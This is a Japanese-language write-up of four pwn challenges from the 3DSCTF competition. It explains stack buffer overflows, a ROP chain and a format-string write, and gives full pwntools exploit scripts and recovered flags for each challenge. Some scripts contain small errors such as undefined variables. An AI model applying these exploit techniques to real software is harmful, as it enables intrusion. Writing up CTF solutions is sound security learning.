The 318br, DESEC, and SucuriHC Capture The Flag (3DSCTF) writeup
はじめに
ソロで参加しました。
時間内に2問解いたけど、参加している間に問題の解放がされなかったので、あとの2問は競技時間外に解きました。
pwnだけしか解いてないので許して。
Get started (pwn 100)
BOFがありリターンアドレスの書き換えが可能であった。
ファイルからflagを読み込み表示する関数がいるので、リターンアドレスをその関数に書き換える。
関数内で引数のチェックがあるので、チェックが通るように引数を設定する。
from pwn import * get_flag = 0x080489a0 conn = remote('54.175.35.248', 8005) payload = 'A' * (0x3c - 4) payload += p32(get_flag) payload += 'AAAA' payload += p32(0x308cd64f) payload += p32(0x195719d1) conn.sendline(payload) print conn.recv(1024)
not the same
BOFにてリターンアドレスが書き換えられる。
ファイルからflagを読み出す関数があるが、読み出すだけで出力しない。
flagは固定アドレスに書き込まれるので、printfで出力しておしまい。
from pwn import * get_flag = 0x080489a0 flag = 0x80eca2d printf = 0x804f0a0 exit = 0x806d7d1 #payload = 'A' * (0x3c - 4) payload = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' payload += p32(get_flag) payload += p32(printf) payload += 'AAAA' payload += p32(flag) conn = remote('54.175.35.248', 8006) conn = process('not_the_same') conn.sendline(payload) print conn.recv(1024)
from pwn import * get_flag = 0x080489a0 flag = 0x80eca2d printf = 0x804f0a0 exit = 0x806d7d1 #payload = 'A' * (0x3c - 4) payload += p32(get_flag) payload += p32(printf) payload += 'AAAA' payload += p32(flag) conn = remote('54.175.35.248', 8006) conn.sendline(payload) print conn.recv(1024) ### 3DS{b0f_pr4_c0m3c4r_n3}
Please no (pwn300)
BOFでリターンアドレスの書き換えが可能。
ファイルをオープンし、その中身を出力している関数があるが、肝心のファイル名がbss領域に存在するが、空となっている。
逆アセンブルした結果を眺めていると、ファイル名に該当するアドレスへとstrcatしている関数が複数存在する。
連結される文字列を組み合わせて、妥当そうな文字列を構成してからファイルの中身を出力させる関数を実行させるようにした。
from pwn import * host = '209.190.1.131' port = 9003 file_name = 'please-no' mflag_addr = 0x8048690 text_addr = 0x8048650 flag_addr = 0x8048590 pop3_ret_addr = 0x8048789 ''' mflag 8048690: 83 ec 1c sub esp,0x1c 8048693: 81 7c 24 20 41 0c 0b cmp DWORD PTR [esp+0x20],0x1b0b0c41 804869a: 1b 804869b: 75 2d jne 80486ca <fgetc@plt+0x26a> 804869d: 81 7c 24 24 4e 37 13 cmp DWORD PTR [esp+0x24],0xae13374e 80486a4: ae 80486a5: 75 23 jne 80486ca <fgetc@plt+0x26a> 80486a7: c7 44 24 16 6d 66 6c mov DWORD PTR [esp+0x16],0x616c666d 80486ae: 61 80486af: 66 c7 44 24 1a 67 00 mov WORD PTR [esp+0x1a],0x67 # .text 8048650: 83 ec 1c sub esp,0x1c 8048653: 81 7c 24 20 37 13 b0 cmp DWORD PTR [esp+0x20],0xb0b01337 804865a: b0 804865b: 75 23 jne 8048680 <fgetc@plt+0x220> 804865d: c7 44 24 16 2e 74 65 mov DWORD PTR [esp+0x16],0x7865742e 8048664: 78 8048665: 66 c7 44 24 1a 74 00 mov WORD PTR [esp+0x1a],0x74 ''' elf = ELF(file_name) if len(sys.argv) == 2: conn = remote(host, port) else: conn = process(file_name) payload = 'A' * 20 payload += p32(mflag_addr) payload += p32(pop3_ret_addr) payload += p32(0x1b0b0c41) payload += p32(0xae13374e) payload += 'AAAA' payload += p32(text_addr) payload += p32(pr) payload += p32(0xb0b01337) payload += 'AAAA' payload += 'AAAA' payload += p32(flag_addr) payload += p32(0x8048420) conn.sendline(payload) print repr(conn.recv(1024)) conn.close() ### 3DS{n0_symb0l5_w1th_R0P_15_p41nful_r1ght}
echoindiapapa (pwn 400)
FSB。
0x601080が0x180であればwin関数が呼ばれ、flagを得ることができる。
スタック上に、このアドレスが積まれており、そのオフセットは10であった。
from pwn import * host = '209.190.1.131' port = 9005 string_addr = 0x601080 main_addr = 0x400750 if len(sys.argv) == 2: conn = remote(host, port) else: conn = process(file_name) conn.recvuntil('name?') payload = '%384c%10$n' conn.sendline(payload) print repr(conn.recv(1024)) print repr(conn.recv(1024)) ### 3DS{FS4_1s_4_b1t_und3r5t1m4t3d}
おわりに
息抜きちょうどよかった。